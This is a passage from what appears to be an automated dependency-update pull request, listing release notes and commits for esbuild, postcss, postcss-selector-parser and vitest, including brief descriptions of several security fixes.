\u003ca href=\"https://github.com/dellalibera\"\u003e\u003ccode\u003e@​dellalibera\u003c/code\u003e\u003c/a\u003e for reporting this issue.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd integrity checks to the Deno API (\u003ca href=\"https://github.com/evanw/esbuild/security/advisories/GHSA-gv7w-rqvm-qjhr\"\u003eGHSA-gv7w-rqvm-qjhr\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe previous release of esbuild added integrity checks to esbuild's npm install script. This release also adds integrity checks to esbuild's Deno install script. Now esbuild's Deno API will also fail with an error if the downloaded esbuild binary contains something other than the expected content.\u003c/p\u003e\n\u003cp\u003eNote that esbuild's Deno API installs from \u003ccode\u003eregistry.npmjs.org\u003c/code\u003e by default, but allows the \u003ccode\u003eNPM_CONFIG_REGISTRY\u003c/code\u003e environment variable to override this with a custom package registry. This change means that the esbuild executable served by \u003ccode\u003eNPM_CONFIG_REGISTRY\u003c/code\u003e must now match the expected content.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/sondt99\"\u003e\u003ccode\u003e@​sondt99\u003c/code\u003e\u003c/a\u003e for reporting this issue.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAvoid inlining \u003ccode\u003eusing\u003c/code\u003e and \u003ccode\u003eawait using\u003c/code\u003e declarations (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4482\"\u003e#4482\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePreviously esbuild's minifier sometimes incorrectly inlined \u003ccode\u003eusing\u003c/code\u003e and \u003ccode\u003eawait using\u003c/code\u003e declarations into subsequent uses of that declaration, which then fails to dispose of the resource correctly. This bug happened because inlining was done for \u003ccode\u003elet\u003c/code\u003e and \u003ccode\u003econst\u003c/code\u003e declarations by avoiding doing it for \u003ccode\u003evar\u003c/code\u003e declarations, which no longer worked when more declaration types were added. Here's an example:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// Original code\n{\n  using x = new Resource()\n  x.activate()\n}\n\u003cp\u003e// Old output (with --minify)\u003cbr /\u003e\nnew Resource().activate();\u003c/p\u003e\n\u003cp\u003e// New output (with --minify)\u003cbr /\u003e\n{using e=new Resource;e.activate()}\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix module evaluation when an error is thrown (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4461\"\u003e#4461\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4467\"\u003e#4467\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eIf an error is thrown during module evaluation, esbuild previously didn't preserve the state of the module for subsequent module references. This was observable if \u003ccode\u003eimport()\u003c/code\u003e or \u003ccode\u003erequire()\u003c/code\u003e is used to import a module multiple times. The thrown error is supposed to be thrown by every call to \u003ccode\u003eimport()\u003c/code\u003e or \u003ccode\u003erequire()\u003c/code\u003e, not just the first. With this release, esbuild will now throw the same error every time you call \u003ccode\u003eimport()\u003c/code\u003e or \u003ccode\u003erequire()\u003c/code\u003e on a module that throws during its evaluation.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix some edge cases around the \u003ccode\u003enew\u003c/code\u003e operator (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4477\"\u003e#4477\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePreviously esbuild incorrectly printed certain edge cases involving complex expressions inside the target of a \u003ccode\u003enew\u003c/code\u003e expression (specifically an optional chain and/or a tagged template literal). The generated code for the \u003ccode\u003enew\u003c/code\u003e target was not correctly wrapped with parentheses, and either contained a syntax error or had different semantics. These edge cases have been fixed so that they now correctly wrap the \u003ccode\u003enew\u003c/code\u003e target in parentheses. Here is an example of some affected code:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// Original code\nnew (foo()`bar`)()\nnew (foo()?.bar)()\n\u003cp\u003e// Old output\u003cbr /\u003e\nnew foo()\u003ccode\u003ebar\u003c/code\u003e();\u003cbr /\u003e\nnew (foo())?.bar();\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/bb9db84c02433fbe37b3509f53f9f3e3cc48725e\"\u003e\u003ccode\u003ebb9db84\u003c/code\u003e\u003c/a\u003e publish 0.28.1 to npm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/9ff053e53b8eeb990f59355dbea365277ac45ee2\"\u003e\u003ccode\u003e9ff053e\u003c/code\u003e\u003c/a\u003e security: add integrity checks to the Deno API\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/0a9bf2135b67c7e28989a5ba19f0f000805a5ab5\"\u003e\u003ccode\u003e0a9bf21\u003c/code\u003e\u003c/a\u003e enforce non-negative size in gzip parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/e2a1a7132058ee067fe736eac15f695861b8654e\"\u003e\u003ccode\u003ee2a1a71\u003c/code\u003e\u003c/a\u003e security: forbid \u003ccode\u003e\\\\\u003c/code\u003e in local dev server requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/83a2cbfc35809f4fd5152da59572d7bed7739d78\"\u003e\u003ccode\u003e83a2cbf\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4482\"\u003e#4482\u003c/a\u003e: don't inline \u003ccode\u003eusing\u003c/code\u003e declarations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/308ad745d824c77bc607603451b257d0f2fd9a38\"\u003e\u003ccode\u003e308ad74\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4471\"\u003e#4471\u003c/a\u003e: renaming of nested \u003ccode\u003evar\u003c/code\u003e declarations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/f013f5f99a015bce92ec48d49181d4ad3177b29b\"\u003e\u003ccode\u003ef013f5f\u003c/code\u003e\u003c/a\u003e fix some typos\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/aafd6e48b1088336a5f5a17e930be7e840d43d8c\"\u003e\u003ccode\u003eaafd6e4\u003c/code\u003e\u003c/a\u003e chore: fix some minor issues in comments (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4462\"\u003e#4462\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/15300c30b5e22f7cfcbed850c246d35095658386\"\u003e\u003ccode\u003e15300c3\u003c/code\u003e\u003c/a\u003e follow up: cjs evaluation fixes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/1bda0c31d7697c0af44b3ab39b81e599e559a395\"\u003e\u003ccode\u003e1bda0c3\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4461\"\u003e#4461\u003c/a\u003e, fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4467\"\u003e#4467\u003c/a\u003e: esm evaluation fixes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/evanw/esbuild/compare/v0.28.0...v0.28.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.15 to 8.5.19\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/00d0dd2322162f6083d507ea6954685e1c92f165\"\u003e\u003ccode\u003e00d0dd2\u003c/code\u003e\u003c/a\u003e Keep explicitly set raws.before when inserting nodes into root (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2111\"\u003e#2111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a05b33e7a15d6f80d90098784170ad3dca39180\"\u003e\u003ccode\u003e7a05b33\u003c/code\u003e\u003c/a\u003e Temporary fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.15...8.5.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for postcss since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss-selector-parser` from 7.1.1 to 7.1.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss-selector-parser/releases\"\u003epostcss-selector-parser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e7.1.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: tolerate non-node children when serializing selectors\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.1.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove fix CVE-2026-9358 (NVD) / SNYK-JS-POSTCSSSELECTORPARSER-16873882 (clone/walk)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.1.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ca href=\"https://github.com/advisories/GHSA-w9m9-85wc-3x92\"\u003eCVE-2026-9358\u003c/a\u003e (NVD) / SNYK-JS-POSTCSSSELECTORPARSER-16873882 (\u003ca href=\"https://redirect.github.com/postcss/postcss-selector-parser/pull/316\"\u003e#316\u003c/a\u003e by \u003ca href=\"https://github.com/MoOx\"\u003e\u003ccode\u003e@​MoOx\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss-selector-parser/blob/main/CHANGELOG.md\"\u003epostcss-selector-parser's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e7.1.4 - 2026-06-11\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003efix: tolerate non-node children when serializing selectors\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e7.1.3 - 2026-06-11\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eImprove fix CVE-2026-9358 (NVD) / SNYK-JS-POSTCSSSELECTORPARSER-16873882 (clone/walk)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e7.1.2 - 2026-06-09\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ca href=\"https://github.com/advisories/GHSA-w9m9-85wc-3x92\"\u003eCVE-2026-9358\u003c/a\u003e (NVD) / SNYK-JS-POSTCSSSELECTORPARSER-16873882 (\u003ca href=\"https://redirect.github.com/postcss/postcss-selector-parser/pull/316\"\u003e#316\u003c/a\u003e by \u003ca href=\"https://github.com/MoOx\"\u003e\u003ccode\u003e@​MoOx\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/4a7e4e3685db8ab8e52e51ecdbe8162a8568f70c\"\u003e\u003ccode\u003e4a7e4e3\u003c/code\u003e\u003c/a\u003e 7.1.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/e2021c523d5ef1bf27836aef3bd724a28ba7894f\"\u003e\u003ccode\u003ee2021c5\u003c/code\u003e\u003c/a\u003e fix: tolerate non-node children when serializing selectors\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/7893b741fa87d0401e39c3a7f00d89cf7408ad32\"\u003e\u003ccode\u003e7893b74\u003c/code\u003e\u003c/a\u003e 7.1.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/5bc698cef66f8abd12610dc623e5d67cbc0f869d\"\u003e\u003ccode\u003e5bc698c\u003c/code\u003e\u003c/a\u003e Improve fix CVE-2026-9358 (NVD) / SNYK-JS-POSTCSSSELECTORPARSER-16873882 (clo...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/db3232710d7270b34e50b4ffae493ac19204f570\"\u003e\u003ccode\u003edb32327\u003c/code\u003e\u003c/a\u003e run oxfmt\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/16e2581b40894504cf2b979fc0ebf7d0b2f39366\"\u003e\u003ccode\u003e16e2581\u003c/code\u003e\u003c/a\u003e simplify deps (\u003ca href=\"https://redirect.github.com/postcss/postcss-selector-parser/issues/319\"\u003e#319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/b185e2057871669f9c571ad82e4350799e0a2329\"\u003e\u003ccode\u003eb185e20\u003c/code\u003e\u003c/a\u003e Add description in package.json + full repo url\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/de415f19aac008f0e731590222f3a963193be05c\"\u003e\u003ccode\u003ede415f1\u003c/code\u003e\u003c/a\u003e Add Tidelift security notice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/c4f2c8c04a8107e4e401f257ef00592b59633774\"\u003e\u003ccode\u003ec4f2c8c\u003c/code\u003e\u003c/a\u003e CI: make Node 14 test job lockfile-v3 compatible (\u003ca href=\"https://redirect.github.com/postcss/postcss-selector-parser/issues/318\"\u003e#318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss-selector-parser/commit/4e93663bfe861f9fc3173db603c8fadb70f8090a\"\u003e\u003ccode\u003e4e93663\u003c/code\u003e\u003c/a\u003e Fix test run on node \u0026lt; 20\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss-selector-parser/compare/v7.1.1...7.1.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~moox\"\u003emoox\u003c/a\u003e, a new releaser for postcss-selector-parser since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eInstall script changes\u003c/summary\u003e\n\u003cp\u003eThis version modifies \u003ccode\u003eprepare\u003c/code\u003e script that runs during installation. Review the package contents before updating.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.8 to 4.1.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.10\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10680\"\u003evitest-dev/vitest#10680\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267\"\u003e\u003c!-- raw HTML omitted --\u003e(5c18d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evm\u003c/strong\u003e: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4]  -  by \u003ca href=\"https://github.com/SveLil\"\u003e\u003ccode\u003e@​SveLil\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10661\"\u003evitest-dev/vitest#10661\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b511\"\u003e\u003c!-- raw HTML omitted --\u003e(bae52)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.9...v4.1.10\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.9\u003c/h2\u003e\n\u003ch3\u003e🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eDavid Harris\u003c/strong\u003e, \u003cstrong\u003eCodex\u003c/strong\u003eand \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10546\"\u003evitest-dev/vitest#10546\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c\"\u003e\u003c!-- raw HTML omitted --\u003e(a5180)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eWait for orchestrator readiness before resolving browser sessions [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10555\"\u003evitest-dev/vitest#10555\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651a\"\u003e\u003c!-- raw HTML omitted --\u003e(7fb29)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait for iframe tester readiness before preparing  [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10497\"\u003evitest-dev/vitest#10497\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10556\"\u003evitest-dev/vitest#10556\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fbc626c40\"\u003e\u003c!-- raw HTML omitted --\u003e(fbc62)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eHoist vi.mock() for vite-plus/test imports [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eLongYinan\u003c/strong\u003e, \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e and \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10548\"\u003evitest-dev/vitest#10548\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2c9559c02\"\u003e\u003c!-- raw HTML omitted --\u003e(2c955)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epool\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePrevent test run hang on worker crash  [backport to v4] - by \u003cstrong\u003eAri Perkkiö\u003c/strong\u003e and \u003cstrong\u003eJattioui Ismail\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10543\"\u003evitest-dev/vitest#10543\u003c/a\u003e and \u003ca 